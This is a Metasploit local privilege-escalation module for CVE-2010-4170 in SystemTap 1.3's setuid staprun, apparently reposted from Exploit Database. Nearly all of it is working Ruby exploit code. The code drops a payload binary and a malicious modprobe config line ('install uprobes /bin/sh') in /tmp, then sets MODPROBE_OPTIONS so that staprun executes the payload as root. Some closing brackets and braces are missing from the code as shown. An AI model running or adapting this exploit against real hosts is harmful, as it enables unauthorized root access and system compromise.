SystemTap 1.3 – MODPROBE_OPTIONS Privilege Escalation (Metasploit)

Exploit Database
108 阅读

作者： Metasploit

日期： 2019-04-19
类别：
- local
平台：
- linux
来源：https://www.exploit-db.com/exploits/46730/

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# This module requires Metasploit: https://metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

class MetasploitModule < Msf::Exploit::Local

Rank = ExcellentRanking

include Msf::Post::File

include Msf::Post::Linux::Priv

include Msf::Post::Linux::System

include Msf::Exploit::EXE

include Msf::Exploit::FileDropper

def initialize(info = {})

super(update_info(info,

'Name' => 'SystemTap MODPROBE_OPTIONS Privilege Escalation',

'Description'=> %q{

This module attempts to gain root privileges by exploiting a

vulnerability in the <code>staprun</code> executable included with SystemTap

version 1.3.

The <code>staprun</code> executable does not clear environment variables prior to

executing <code>modprobe</code>, allowing an arbitrary configuration file to be

specified in the <code>MODPROBE_OPTIONS</code> environment variable, resulting

in arbitrary command execution with root privileges.

This module has been tested successfully on:

systemtap 1.2-1.fc13-i686 on Fedora 13 (i686); and

systemtap 1.1-3.el5 on RHEL 5.5 (x64).

'License'=> MSF_LICENSE,

'Author' =>

[

'Tavis Ormandy', # Discovery and exploit

'bcoles' # Metasploit

'DisclosureDate' => '2010-11-17',

'References' =>

[

['BID', '44914'],

['CVE', '2010-4170'],

['EDB', '15620'],

['URL', 'https://securitytracker.com/id?1024754'],

['URL', 'https://access.redhat.com/security/cve/cve-2010-4170'],

['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=653604'],

['URL', 'https://lists.fedoraproject.org/pipermail/package-announce/2010-November/051115.html'],

['URL', 'https://bugs.launchpad.net/bugs/677226'],

['URL', 'https://www.debian.org/security/2011/dsa-2348']

'Platform' => ['linux'],

'Arch' =>

[

ARCH_X86,

ARCH_X64,

ARCH_ARMLE,

ARCH_AARCH64,

ARCH_PPC,

ARCH_MIPSLE,

ARCH_MIPSBE

'SessionTypes' => ['shell', 'meterpreter'],

'Targets'=> [['Auto', {}]],

'DefaultTarget'=> 0))

register_options [

OptString.new('STAPRUN_PATH', [true, 'Path to staprun executable', '/usr/bin/staprun'])

]

register_advanced_options [

OptBool.new('ForceExploit', [false, 'Override check result', false]),

OptString.new('WritableDir', [true, 'A directory where we can write files', '/tmp'])

]

end

def staprun_path

datastore['STAPRUN_PATH']

end

def base_dir

datastore['WritableDir'].to_s

end

def upload(path, data)

print_status "Writing '#{path}' (#{data.size} bytes) ..."

rm_f path

write_file path, data

register_file_for_cleanup path

end

def upload_and_chmodx(path, data)

upload path, data

chmod path

end

def check

# On some systems, staprun execution is restricted to stapusr group:

# ---s--x---. 1 root stapusr 178488 Mar 282014 /usr/bin/staprun

unless cmd_exec("test -x '#{staprun_path}' && echo true").include? 'true'

vprint_error "#{staprun_path} is not executable"

return CheckCode::Safe

end

vprint_good "#{staprun_path} is executable"

unless setuid? staprun_path

vprint_error "#{staprun_path} is not setuid"

return CheckCode::Safe

end

vprint_good "#{staprun_path} is setuid"

CheckCode::Detected

end

def exploit

unless check == CheckCode::Detected

unless datastore['ForceExploit']

fail_with Failure::NotVulnerable, 'Target is not vulnerable. Set ForceExploit to override.'

end

print_warning 'Target does not appear to be vulnerable'

end

if is_root?

unless datastore['ForceExploit']

fail_with Failure::BadConfig, 'Session already has root privileges. Set ForceExploit to override.'

end

unless writable? base_dir

fail_with Failure::BadConfig, "#{base_dir} is not writable"

end

payload_name = ".#{rand_text_alphanumeric 10..15}"

payload_path = "#{base_dir}/#{payload_name}"

upload_and_chmodx payload_path, generate_payload_exe

config_path = "#{base_dir}/#{payload_name}.conf"

upload config_path, "install uprobes /bin/sh"

print_status 'Executing payload...'

res = cmd_exec "echo '#{payload_path}&' | MODPROBE_OPTIONS='-C #{config_path}' #{staprun_path} -u #{rand_text_alphanumeric 10..15}"

vprint_line res

end